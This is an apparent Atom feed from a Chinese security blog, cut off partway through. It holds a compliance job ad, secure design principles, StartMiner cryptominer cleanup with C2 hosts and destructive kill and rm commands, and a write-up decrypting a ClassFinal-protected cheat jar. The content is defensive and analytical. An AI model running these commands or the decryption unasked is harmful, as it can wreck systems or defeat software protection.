<?xml version="1.0" encoding="utf-8" ?>


<feed xmlns="http://www.w3.org/2005/Atom">
  <title>大安全</title>

  <description>关注网络安全、金融安全、互联网安全、编程开发、逆向分析、网络取证</description>

  <link href="http://www.secbig.com/"></link>

  <link ref="self" href="http://www.secbig.com/feed"></link>

  <id></id>


  <updated>2023-10-16T03:34:00Z</updated>


  <entry>


    <title>某北京金融甲方招信息安全合规方向岗</title>

    <link href="https://www.secbig.com/recruitment0x1"  rel="alternate"></link>

    <updated>2023-10-16T03:34:00Z</updated>
    <id>recruitment0x1</id>

    <author>
      <name>大安全</name>

    </author>
    <summary type="html">&lt;h2 id="toc_0" class="h16 md_first_h"&gt;&lt;span class="span_for_h"&gt;某北京金融甲方招信息安全合规方向岗&lt;/span&gt;&lt;/h2&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;工作地点：北京西城&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;学历要求: 统招本科及以上学历&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;岗位：信息安全管理合规&lt;/span&gt;
&lt;/p&gt;

&lt;h3 id="toc_1" class="h16"&gt;&lt;span class="span_for_h"&gt;岗位要求：&lt;/span&gt;&lt;/h3&gt;
&lt;ol class="md_list md_ol" start="1"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;负责公司信息安全体系建设与持续改进；

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;负责公司的信息安全策略、制度、流程、指南的制定、撰写、实施和优化；

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;负责推进公司的安全项目的落地实施；

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;负责公司各类等保、合规、第三方认证、资质等需求的落地；

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;负责内外部安全事件响应，制定安全应急响应机制并推进落地；

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;负责对接业务部门，提供安全建设支持，包括架构、方案、策略等；

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;负责公司安全知识宣贯和培训。

&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="toc_2" class="h16"&gt;&lt;span class="span_for_h"&gt;任职要求：&lt;/span&gt;&lt;/h3&gt;
&lt;ol class="md_list md_ol" start="1"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;统招全日制本科及以上学历，计算机或信息安全相关专业优先；

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;具有安全评估、等级保护、安全体系规划等实施经验；

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;对信息安全、风险管理方法及主流体系架构有充分理解；

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;具备良好的团队合作精神、优秀的执行能力；良好的文档编写、展示以及跨部门沟通能力；

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;同时具有ISO27001认证实施经验、CISSP、CISA证书优先；

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;英语可以与外籍流畅沟通交流优先；

&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p class="md_block last_md_block_in_page"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;strong class="md_compiled md_compiled_strong"&gt;简历投递：root@secbig.com&lt;/strong&gt;&lt;/span&gt;
&lt;/p&gt;</summary>

  </entry>


  <entry>


    <title>软件开发安全设计原则</title>

    <link href="https://www.secbig.com/security-design-principles-for-software-development"  rel="alternate"></link>

    <updated>2023-01-18T09:45:00Z</updated>
    <id>security-design-principles-for-software-development</id>

    <author>
      <name>大安全</name>

    </author>
    <summary type="html">&lt;h3 id="toc_0" class="h16 md_first_h"&gt;&lt;span class="span_for_h"&gt;最小特权原则&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;&amp;emsp;&amp;emsp;对于请求存储资源的主体，只应该分配最少的必要权限，而且应该保证赋予权限分配的必要时间最短。如果授予一个用户或进程、组件超过其行为必要的权限范围的许可，该用户或进程、组件就有可能获得或修改其没有权限处理的信息。&lt;/span&gt;
&lt;/p&gt;

&lt;h3 id="toc_1" class="h16"&gt;&lt;span class="span_for_h"&gt;权限分离原则&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;&amp;emsp;&amp;emsp;尽量把软件划分为不同的独立组件，把权限分成不同的权限许可和认证条件，用户授予不同的权限角色。不要将权限一次性授予一个用户，应该根据需要提供多重认证与检查机制再进行授予。&lt;/span&gt;
&lt;/p&gt;

&lt;h3 id="toc_2" class="h16"&gt;&lt;span class="span_for_h"&gt;最少共享机制原则&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;&amp;emsp;&amp;emsp;避免多个主体共享同一个资源，因为敏感的信息可能通过相同的资源在这些主体之间共享，导致被其他用户获取。每个主体应该有不同的资源或不同的资源实例，在保证多用户存取访问灵活性的同时，防止由单一的共享机制导致潜在违背安全性的行为。&lt;/span&gt;
&lt;/p&gt;

&lt;h3 id="toc_3" class="h16"&gt;&lt;span class="span_for_h"&gt;完全中立原则&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;&amp;emsp;&amp;emsp;每次主体对资源的请求，系统都应该实行认证和执行检查，特别是和安全相关的内容，以避免错误地赋予主体过高的权限，或者在第一次授予权限之后，主体被攻击之后攻击者滥用相关权限。为了提高性能，一些系统会缓存主体的权限，这种做法易使系统产生较高的安全风险。&lt;/span&gt;
&lt;/p&gt;

&lt;h3 id="toc_4" class="h16"&gt;&lt;span class="span_for_h"&gt;心理可接受程度原则&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;&amp;emsp;&amp;emsp;安全机制应该尽可能对用户透明，只引入少量的资源使用限制，对用户友好，才能在使用时方便用户的理解和使用，真正起到安全防护的作用。如果安全机制妨碍了资源的可用性或使得资源难以获取，那么用户很可能会选择关闭这些安全机制或功能。&lt;/span&gt;
&lt;/p&gt;

&lt;h3 id="toc_5" class="h16"&gt;&lt;span class="span_for_h"&gt;默认故障处理保护原则&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;&amp;emsp;&amp;emsp;当系统失效或产生故障时，必须是以安全的方式来处理系统信息，系统故障处理默认应该是安全的设置。例如，即使丧失了可用性，也应该保障系统的机密性和完整性；故障发生时必须阻止未授权的用户获得访问权限；发生故障后，应该不向远程未授权的用户暴露敏感信息，如错误号和错误信息、服务器信息之类。&lt;/span&gt;
&lt;/p&gt;

&lt;h3 id="toc_6" class="h16"&gt;&lt;span class="span_for_h"&gt;经济机制原则&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;&amp;emsp;&amp;emsp;复杂性是评估一个系统安全性的重要因素之一。如果设计、实现的功能非常复杂，那么系统存在安全漏洞的可能性就会大大增加，一些问题在复杂的系统中很难被及时发现。系统的设计和实现应该尽量简单，以降低因复杂性带来的安全问题。&lt;/span&gt;
&lt;/p&gt;

&lt;h3 id="toc_7" class="h16"&gt;&lt;span class="span_for_h"&gt;不信任原则&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;&amp;emsp;&amp;emsp;开发者应该假定系统环境是不安全的。减少对用户、外部系统、其他组件的信任，对外部实体所有的输入都需要进行检查。另外，也不应该认为每次对函数或系统的调用操作都会成功，必须对每次函数或系统调用返回值进行检查，并进行正确的处理。&lt;/span&gt;
&lt;/p&gt;

&lt;h3 id="toc_8" class="h16"&gt;&lt;span class="span_for_h"&gt;纵深防御原则&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;&amp;emsp;&amp;emsp;软件应该设置多重安全措施，并充分利用操作系统提供的安全防护机制，形成纵深防御体系，以降低攻击者成功攻击的几率。多重安全措施使攻击者绕过每一个机制才能达到目的，提高了攻击者的攻击成本，降低了安全危害。&lt;/span&gt;
&lt;/p&gt;

&lt;h3 id="toc_9" class="h16"&gt;&lt;span class="span_for_h"&gt;保障最弱环节原则&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;&amp;emsp;&amp;emsp;攻击者一般从系统最薄弱的环节发起攻击，而不是针对已经加固的组件。相对于破解一个数学上已经证明了比较安全的算法，攻击者更喜欢利用软件的安全漏洞。因此，软件开发者必须了解自己软件的薄弱点，对这些弱点实施更强的安全保护措施。&lt;/span&gt;
&lt;/p&gt;

&lt;h3 id="toc_10" class="h16"&gt;&lt;span class="span_for_h"&gt;公开设计原则&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;&amp;emsp;&amp;emsp;应该假定攻击者有能力获取系统足够的信息，不能依赖于攻击者 “不可能知道” 来保护系统的安全。如果设计的加密算法存在弱密钥，或者系统设有万能口令等，攻击者通过反汇编分析能够获取这些信息，攻击者还可能是内部被辞退的员工，因此，依赖于攻击者无法掌握某些特定信息来保护系统的安全是不可靠的。&lt;/span&gt;
&lt;/p&gt;

&lt;h3 id="toc_11" class="h16"&gt;&lt;span class="span_for_h"&gt;隐私保护原则&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;&amp;emsp;&amp;emsp;系统收集到的用户信息都必须实施妥善和安全的保护。攻击者获得了用户的隐私数据之后，可以进一步发起针对用户的各种攻击，如欺骗等，因此不应该向其他用户泄漏用户的隐私信息。&lt;/span&gt;
&lt;/p&gt;

&lt;h3 id="toc_12" class="h16"&gt;&lt;span class="span_for_h"&gt;攻击面最小化原则&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block last_md_block_in_page"&gt;
    &lt;span class="md_line md_line_start"&gt;&amp;emsp;&amp;emsp;攻击面（attack surface）通常也称受攻击面，是指对一个软件系统可以采取的攻击方法的集合。因为攻击者对软件的攻击是通过其暴露在外部的接口、功能、服务和协议等资源来实施的，通过对每种资源计算其被攻击成功的可能性，并将这些可能性综合归纳，即可以衡量软件的攻击面大小。可以看出，一个软件的攻击面越大，其安全风险也就越大。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;减少攻击面是安全设计中的一个重要步骤，软件设计人员需要仔细评估软件中所有的功能模块和接口的特性，分析其可能存在的安全风险，并设定相应的限制措施。如果一个功能 / 数据接口不是必要的，则应该取消或禁止，或者默认不开启。如果一个功能 / 数据接口的配置没有特殊的理由，则默认应该按安全的方式进行设置。&lt;/span&gt;
&lt;/p&gt;</summary>

  </entry>


  <entry>


    <title>StartMiner挖矿处理</title>

    <link href="https://www.secbig.com/startminerwa-kuang-chu-li"  rel="alternate"></link>

    <updated>2021-09-21T11:37:02Z</updated>
    <id>startminerwa-kuang-chu-li</id>

    <author>
      <name>大安全</name>

    </author>
    <summary type="html">&lt;p class="md_block last_md_block_in_page"&gt;
    &lt;span class="md_line md_line_start"&gt;C2地址为bash.givemexyz.in||205.185.116.78||bash.givemexyz.xyz&lt;br /&gt;&lt;/span&gt;
&lt;font color=#FF0000 &gt;
    &lt;span class="md_line"&gt;以下不能确认完全清除，如果病毒更换文件名请参考使用，&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;sudo kill -9 $(pidof python) || kill -9 $(pidof curl) || ps aux&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;包含干掉python和curl的功能，请逐条谨慎执行！！！！&lt;br /&gt;&lt;/span&gt;
&lt;/font&gt;&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;systemctl stop crond
sudo kill -9 $(pidof python) || kill -9 $(pidof curl) || ps aux
rm -f /tmp/go /tmp/i686 /tmp/x64b /tmp/x86_64 /tmp/x86_643 /tmp/dbusex /tmp/hxx
chattr -ia /var/spool/cron/root /var/spool/cron/crontabs/root
rm -f /var/spool/cron/root /var/spool/cron/crontabs/root
chattr -ia /usr/bin/bprofr /usr/bin/crondr /usr/bin/initdr /usr/bin/sysdr
rm -f /usr/bin/bprofr /usr/bin/crondr /usr/bin/initdr /usr/bin/sysdr
kill -9 $(pidof dbused)
chattr -ia ~/.bash_profile
sed -i '$d' ~/.bash_profile
chattr -ia /etc/init.d/down /etc/init.d/pwnrig
rm -f /etc/init.d/down /etc/init.d/pwnrig
chattr -ia /etc/cron.d/apache /etc/cron.d/nginx /etc/cron.d/pwnrig /etc/cron.d/root
rm -f /etc/cron.d/apache /etc/cron.d/nginx /etc/cron.d/pwnrig /etc/cron.d/root
chattr -ia /etc/cron.daily/pwnrig
rm -f /etc/cron.daily/pwnrig
chattr -ia /etc/cron.hourly/pwnrig /etc/cron.hourly/oanacroner1
rm -f /etc/cron.hourly/pwnrig /etc/cron.hourly/oanacroner1
chattr -ia /etc/cron.monthly/pwnrig
rm -f /etc/cron.monthly/pwnrig
chattr -ia /etc/cron.weekly/pwnrig
rm -f /etc/cron.weekly/pwnrig
rm -f /etc/rc0.d/K60pwnrig
rm -f /etc/rc1.d/K60pwnrig
rm -f /etc/rc2.d/S90pwnrig
rm -f /etc/rc3.d/S90pwnrig
rm -f /etc/rc4.d/S90pwnrig
rm -f /etc/rc5.d/S90pwnrig
rm -f /etc/rc6.d/K60pwnrig
chattr -ia /etc/systemd/system/pwnrige.service /etc/systemd/system/multi-user.target.wants/pwnrige.service /etc/systemd/system/multi-user.target.wants/pwnrigl.service /usr/lib/systemd/system/pwnrigl.service
rm -f /etc/systemd/system/pwnrige.service etc/systemd/system/pwnrige.service /etc/systemd/system/multi-user.target.wants/pwnrige.service /etc/systemd/system/multi-user.target.wants/pwnrigl.service /usr/lib/systemd/system/pwnrigl.service
systemctl start crond&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;</summary>

  </entry>


  <entry>


    <title>对某游戏辅助软件的逆向解密与分析</title>

    <link href="https://www.secbig.com/dui-mou-you-xi-fu-zhu-ruan-jian-de-ni-xiang-jie-mi-yu-fen-xi"  rel="alternate"></link>

    <updated>2021-09-21T11:36:46Z</updated>
    <id>dui-mou-you-xi-fu-zhu-ruan-jian-de-ni-xiang-jie-mi-yu-fen-xi</id>

    <author>
      <name>大安全</name>

    </author>
    <summary type="html">&lt;h5 id="toc_0" class="h16 md_first_h"&gt;&lt;span class="span_for_h"&gt;0x00&lt;/span&gt;&lt;/h5&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;&amp;emsp;&amp;emsp; 很久没写文章了，好多朋友问我博客是不是废了。。其实主要是没什么可写的，大部分内容都是大同小异，换汤不换药。BTW HVV躺枪了，希望大家关注过程就可以了，不要过多解读，很多人要吃饭。&lt;/span&gt;
&lt;/p&gt;

&lt;h5 id="toc_1" class="h16"&gt;&lt;span class="span_for_h"&gt;0x01&lt;/span&gt;&lt;/h5&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;&amp;emsp;&amp;emsp;对某款游戏跟踪了很多年(buwuzhengye)，以前基于Unity3d的时候也对源代码分析过。但是后来还是没干做了嘴上的巨人。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;最近看某款游戏出了个辅(wai)助(gua)软件。开始以为是基于按键精灵来搞定的。后来真正拿到软件发现并不是和我的想法一致。&lt;/span&gt;
&lt;/p&gt;

&lt;h5 id="toc_2" class="h16"&gt;&lt;span class="span_for_h"&gt;0x02&lt;/span&gt;&lt;/h5&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;&amp;emsp;&amp;emsp;软件整体布局如下&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;figure class="md_figure md_image_figure"&gt;&lt;img class="md_compiled " src="/img/0x01.png" alt="0x01" title="" &gt;&lt;figcaption&gt;0x01&lt;/figcaption&gt;&lt;/figure&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;&amp;emsp;&amp;emsp;可以看到很明显是java进行开发同时在使用教程中还给小白写了如何配置TShark到系统环境变量。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;&amp;emsp;&amp;emsp;猜测整体运行逻辑如下:&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;figure class="md_figure md_image_figure"&gt;&lt;img class="md_compiled " src="/img/0x02.png" alt="0x02" title="" &gt;&lt;figcaption&gt;0x02&lt;/figcaption&gt;&lt;/figure&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h5 id="toc_3" class="h16"&gt;&lt;span class="span_for_h"&gt;0x03&lt;/span&gt;&lt;/h5&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;&amp;emsp;&amp;emsp; 文件夹排除教程类一共有4个文件：&lt;/span&gt;
&lt;/p&gt;

&lt;ul class="md_list md_ul"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;&lt;span class="md_line_space_chars md_line_space_chars_1"&gt; &lt;/span&gt;lords.jar            ---程序主要逻辑和运行文件&lt;/span&gt;
&lt;/p&gt;

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;&lt;span class="md_line_space_chars md_line_space_chars_1"&gt; &lt;/span&gt;ShanHai.lua          ---lua脚本(按键精灵)&lt;/span&gt;
&lt;/p&gt;

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;&lt;span class="md_line_space_chars md_line_space_chars_1"&gt; &lt;/span&gt;start.bat            ---启动java bat&lt;/span&gt;
&lt;/p&gt;

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;&lt;span class="md_line_space_chars md_line_space_chars_1"&gt; &lt;/span&gt;掉盾扫描脚本-ui.mqb   ---直观未知&lt;/span&gt;
&lt;/p&gt;

&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;&amp;emsp;&amp;emsp;先看比较清晰的ShanHai.lua以及start.bat &lt;/span&gt;
&lt;/p&gt;

&lt;ul class="md_list md_ul"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;ShanHai.lua &lt;code&gt;通过搜索发现是个按键精灵的库&lt;/code&gt;

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;start.bat

&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;pre class="lang_cd"&gt;&lt;code&gt;java -javaagent:lords.jar -jar -Xms1024m -Xmx1024m -Djava.io.tmpdir=D:\lords\data\Temp lords.jar&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;java 临时缓存在D:\lords\data\Temp&lt;/span&gt;
&lt;/p&gt;

&lt;ul class="md_list md_ul"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;掉盾扫描脚本-ui.mqb 
&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start"&gt;&lt;figure class="md_figure md_image_figure"&gt;&lt;img class="md_compiled " src="/img/0x03.png" alt="0x03" title="" &gt;&lt;figcaption&gt;0x03&lt;/figcaption&gt;&lt;/figure&gt;&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;通过查看文件头（504B0304）发现是zip压缩。解压缩后：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start"&gt;&lt;figure class="md_figure md_image_figure"&gt;&lt;img class="md_compiled " src="/img/0x04.png" alt="0x04" title="" &gt;&lt;figcaption&gt;0x04&lt;/figcaption&gt;&lt;/figure&gt;&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;直接用txt打开发现是lua脚本调用了前面说的ShanHai.lua模块&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start"&gt;&lt;figure class="md_figure md_image_figure"&gt;&lt;img class="md_compiled " src="/img/0x05.png" alt="0x05" title="" &gt;&lt;figcaption&gt;0x05&lt;/figcaption&gt;&lt;/figure&gt;&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;其他两个文件为按键精灵的UI文件。&lt;/span&gt;
&lt;/p&gt;

&lt;h5 id="toc_4" class="h16"&gt;&lt;span class="span_for_h"&gt;0x04&lt;/span&gt;&lt;/h5&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;&amp;emsp;&amp;emsp; 到这我们已经把其他文件都进行了分析只差lords.jar这个核心文件了。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;&amp;emsp;&amp;emsp; 常规操作把lords.jar放入jad.exe反编译一下看看&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;figure class="md_figure md_image_figure"&gt;&lt;img class="md_compiled " src="/img/0x06.png" alt="0x06" title="" &gt;&lt;figcaption&gt;0x06&lt;/figcaption&gt;&lt;/figure&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;&amp;emsp;&amp;emsp;浏览了一下org.springframework.boot.loader，并没有发现核心代码，但是注意到net.roseboy.classfinal内部存在JarDecryptor类，猜测是加密。通过查询github发现&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;（&lt;a class="md_compiled" href="https://github.com/roseboy/classfinal"&gt;ClassFinal-github&lt;/a&gt;)&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;figure class="md_figure md_image_figure"&gt;&lt;img class="md_compiled " src="/img/0x07.png" alt="0x07" title="" &gt;&lt;figcaption&gt;0x07&lt;/figcaption&gt;&lt;/figure&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;ClassFinal是一款java class文件安全加密工具，支持直接加密jar包或war包，无需修改任何项目代码，兼容spring-framework；
可避免源码泄漏或字节码被反编译。&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;&amp;emsp;&amp;emsp;作者还是对软件做了一些处理，怪不得无法找到一些核心内容。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;&amp;emsp;&amp;emsp;继续查看jar文件发现了META-INF下的.classes存在大量加密文件。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;figure class="md_figure md_image_figure"&gt;&lt;img class="md_compiled " src="/img/0x08.png" alt="0x08" title="" &gt;&lt;figcaption&gt;0x08&lt;/figcaption&gt;&lt;/figure&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h5 id="toc_5" class="h16"&gt;&lt;span class="span_for_h"&gt;0x05&lt;/span&gt;&lt;/h5&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;&amp;emsp;&amp;emsp;目前我们发现META-INF下的.classes存在大量加密文件，必须通过解密他们才能获得运行逻辑。那么我们在过程中发现net.roseboy.classfinal内部存在JarDecryptor类，只能试试通过此类尝试还原加密文件。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;JarDecryptor类中存在下面这些方法&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start"&gt;&lt;figure class="md_figure md_image_figure"&gt;&lt;img class="md_compiled " src="/img/0x09.png" alt="0x09" title="" &gt;&lt;figcaption&gt;0x09&lt;/figcaption&gt;&lt;/figure&gt;&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;我们看到有个doDecrypt&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;public byte[] doDecrypt(String projectPath, String fileName, char[] password) &lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参数需要一个密码才能彻底完成运行。那么继续往下找发现readPassFromJar&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;  public static char[] readPassFromJar(File workDir) {
    byte[] passbyte = readEncryptedFile(workDir, "org.springframework.config.Pass");
    if (passbyte != null) {
      char[] pass = StrUtils.toChars(passbyte);
      return EncryptUtils.md5(pass);
    } 
    return null;
  }&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;&amp;emsp;&amp;emsp;如果想知道密码就得调用这个方法。那么我们用最笨的方法，改写这个JarDecryptor类添加main方法，让我们可以用readPassFromJar和doDecrypt。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;在JarDecryptor添加如下代码&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;      public static void main(String[] args) {
          System.out.println(JarDecryptor.readPassFromJar(new File("D:\\lords\\lords\\")));
      }&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;通过javac生成class文件&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;    javac -cp lords.jar JarDecryptor.java&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;替换原有class文件&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;figure class="md_figure md_image_figure"&gt;&lt;img class="md_compiled " src="/img/0x10.png" alt="0x10" title="" &gt;&lt;figcaption&gt;0x10&lt;/figcaption&gt;&lt;/figure&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;之后我们尝试调用JarDecryptor &lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;    java -javaagent:lords.jar net.roseboy.classfinal.JarDecryptor&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start"&gt;&lt;figure class="md_figure md_image_figure"&gt;&lt;img class="md_compiled " src="/img/0x11.png" alt="0x11" title="" &gt;&lt;figcaption&gt;0x11&lt;/figcaption&gt;&lt;/figure&gt;&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;目前我们得到了密码，那么下一步就是要调用doDecrypt。继续修改JarDecryptor的main方法。&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;      public static void main(String[] args) {
          String names = "application.properties";
          JarDecryptor jarde = new JarDecryptor();
          byte[] resu1 = jarde.doDecrypt("D:\\lords\\lords\\",names,JarDecryptor.readPassFromJar(new File("D:\\lords\\lords\\")));
          IoUtils.writeFile(new File("D:\\lords\\lords\\" + names + ".class"),resu1);
          System.out.println(resu1);
      }&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;继续替换以及运行&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start"&gt;&lt;figure class="md_figure md_image_figure"&gt;&lt;img class="md_compiled " src="/img/0x12.png" alt="0x12" title="" &gt;&lt;figcaption&gt;0x12&lt;/figcaption&gt;&lt;/figure&gt;&lt;br /&gt;&lt;/span&gt;
